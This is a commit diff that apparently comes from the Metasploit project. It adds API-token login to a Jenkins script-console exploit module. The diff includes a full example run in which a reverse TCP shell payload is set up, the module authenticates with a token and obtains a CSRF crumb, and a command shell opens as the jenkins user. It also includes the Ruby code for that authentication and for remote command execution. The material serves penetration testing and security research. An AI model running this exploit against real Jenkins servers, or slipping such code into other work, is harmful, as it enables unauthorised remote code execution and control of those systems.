Land #8569, Add ability to specify API token instead of password
commit
3cd28b28e2
|
@ -36,7 +36,13 @@
|
|||
|
||||
A password to an account that has access to the script console. This is only
|
||||
necessary if the Jenkins instance has been configured to require
|
||||
authentication.
|
||||
authentication and you aren't using an API_TOKEN (see below).
|
||||
|
||||
**API_TOKEN**
|
||||
|
||||
An API token to an account that has access to the script console. This is only
|
||||
necessary if the Jenkins instance has been configured to require
|
||||
authentication and you aren't using a PASSWORD (see above).
|
||||
|
||||
## Scenarios
|
||||
|
||||
|
@ -128,3 +134,42 @@
|
|||
meterpreter >
|
||||
|
||||
```
|
||||
|
||||
Example usage against a Linux x64 bit target running Jenkins 2.46.3.
|
||||
|
||||
```
|
||||
msf > use exploit/multi/http/jenkins_script_console
|
||||
msf exploit(jenkins_script_console) > set RHOST 172.17.0.1
|
||||
RHOST => 172.17.0.1
|
||||
msf exploit(jenkins_script_console) > set RPORT 8080
|
||||
RPORT => 8080
|
||||
msf exploit(jenkins_script_console) > set TARGETURI /
|
||||
TARGETURI => /
|
||||
msf exploit(jenkins_script_console) > set USERNAME admin
|
||||
USERNAME => admin
|
||||
msf exploit(jenkins_script_console) > set API_TOKEN 24e0b80d009ed12590ff85866d88c00d
|
||||
API_TOKEN => 24e0b80d009ed12590ff85866d88c00d
|
||||
msf exploit(jenkins_script_console) > set TARGET 1
|
||||
TARGET => 1
|
||||
msf exploit(jenkins_script_console) > set PAYLOAD linux/x86/shell/reverse_tcp
|
||||
PAYLOAD => linux/x86/shell/reverse_tcp
|
||||
msf exploit(jenkins_script_console) > set LHOST 10.0.2.4
|
||||
LHOST => 10.0.2.4
|
||||
msf exploit(jenkins_script_console) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 10.0.2.4:4444
|
||||
[*] Checking access to the script console
|
||||
[*] Authenticating with token...
|
||||
[*] Using CSRF token: 'd41639a6f5721760a8ee3df5d6a71eec' (Jenkins-Crumb style)
|
||||
[*] 172.17.0.1:8080 - Sending Linux stager...
|
||||
[*] Sending stage (36 bytes) to 172.17.0.2
|
||||
[*] Command shell session 1 opened (10.0.2.4:4444 -> 172.17.0.2:53962) at 2017-06-19 16:55:42 -0500
|
||||
[!] Deleting /tmp/AsqL5Pg payload file
|
||||
|
||||
whoami
|
||||
jenkins
|
||||
id
|
||||
uid=1000(jenkins) gid=1000(jenkins) groups=1000(jenkins)
|
||||
uname -a
|
||||
Linux b4b4e715101e 4.4.0-79-generic #100-Ubuntu SMP Wed May 17 19:58:14 UTC 2017 x86_64 GNU/Linux
|
||||
```
|
||||
|
|
|
@ -19,7 +19,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
'Author' =>
|
||||
[
|
||||
'Spencer McIntyre',
|
||||
'jamcut'
|
||||
'jamcut',
|
||||
'thesubtlety'
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'DefaultOptions' =>
|
||||
|
@ -50,6 +51,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
[
|
||||
OptString.new('USERNAME', [ false, 'The username to authenticate as', '' ]),
|
||||
OptString.new('PASSWORD', [ false, 'The password for the specified username', '' ]),
|
||||
OptString.new('API_TOKEN', [ false, 'The API token for the specified username', '' ]),
|
||||
OptString.new('TARGETURI', [ true, 'The path to the Jenkins-CI application', '/jenkins/' ])
|
||||
])
|
||||
end
|
||||
|
@ -77,6 +79,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
request_parameters = {
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@uri.path, 'script'),
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN']),
|
||||
'vars_post' =>
|
||||
{
|
||||
'script' => java_craft_runtime_exec(cmd),
|
||||
|
@ -151,26 +154,38 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
@cookie = nil
|
||||
@crumb = nil
|
||||
if res.code != 200
|
||||
print_status('Logging in...')
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@uri.path, "j_acegi_security_check"),
|
||||
'vars_post' =>
|
||||
{
|
||||
'j_username' => datastore['USERNAME'],
|
||||
'j_password' => datastore['PASSWORD'],
|
||||
'Submit' => 'log in'
|
||||
}
|
||||
})
|
||||
if datastore['API_TOKEN']
|
||||
print_status('Authenticating with token...')
|
||||
res = send_request_cgi({
|
||||
'method' => 'GET',
|
||||
'uri' => normalize_uri(@uri.path, "crumbIssuer/api/json"),
|
||||
'authorization' => basic_auth(datastore['USERNAME'], datastore['API_TOKEN'])
|
||||
})
|
||||
if (res and res.code == 401)
|
||||
fail_with(Failure::NoAccess, 'Login failed')
|
||||
end
|
||||
else
|
||||
print_status('Logging in...')
|
||||
res = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(@uri.path, "j_acegi_security_check"),
|
||||
'vars_post' =>
|
||||
{
|
||||
'j_username' => datastore['USERNAME'],
|
||||
'j_password' => datastore['PASSWORD'],
|
||||
'Submit' => 'log in'
|
||||
}
|
||||
})
|
||||
|
||||
if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
|
||||
fail_with(Failure::NoAccess, 'Login failed')
|
||||
end
|
||||
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
|
||||
@cookie = "#{sessionid}"
|
||||
if not (res and res.code == 302) or res.headers['Location'] =~ /loginError/
|
||||
fail_with(Failure::NoAccess, 'Login failed')
|
||||
end
|
||||
sessionid = 'JSESSIONID' << res.get_cookies.split('JSESSIONID')[1].split('; ')[0]
|
||||
@cookie = "#{sessionid}"
|
||||
|
||||
res = send_request_cgi({'uri' => "#{@uri.path}script", 'cookie' => @cookie})
|
||||
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res and res.code == 200
|
||||
res = send_request_cgi({'uri' => "#{@uri.path}script", 'cookie' => @cookie})
|
||||
fail_with(Failure::UnexpectedReply, 'Unexpected reply from server') unless res and res.code == 200
|
||||
end
|
||||
else
|
||||
print_status('No authentication required, skipping login...')
|
||||
end
|
||||
|
@ -178,7 +193,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
if res.body =~ /"\.crumb", "([a-z0-9]*)"/
|
||||
print_status("Using CSRF token: '#{$1}' (.crumb style)")
|
||||
@crumb = {:name => '.crumb', :value => $1}
|
||||
elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/
|
||||
elsif res.body =~ /crumb\.init\("Jenkins-Crumb", "([a-z0-9]*)"\)/ || res.body =~ /"crumb":"([a-z0-9]*)"/
|
||||
print_status("Using CSRF token: '#{$1}' (Jenkins-Crumb style)")
|
||||
@crumb = {:name => 'Jenkins-Crumb', :value => $1}
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue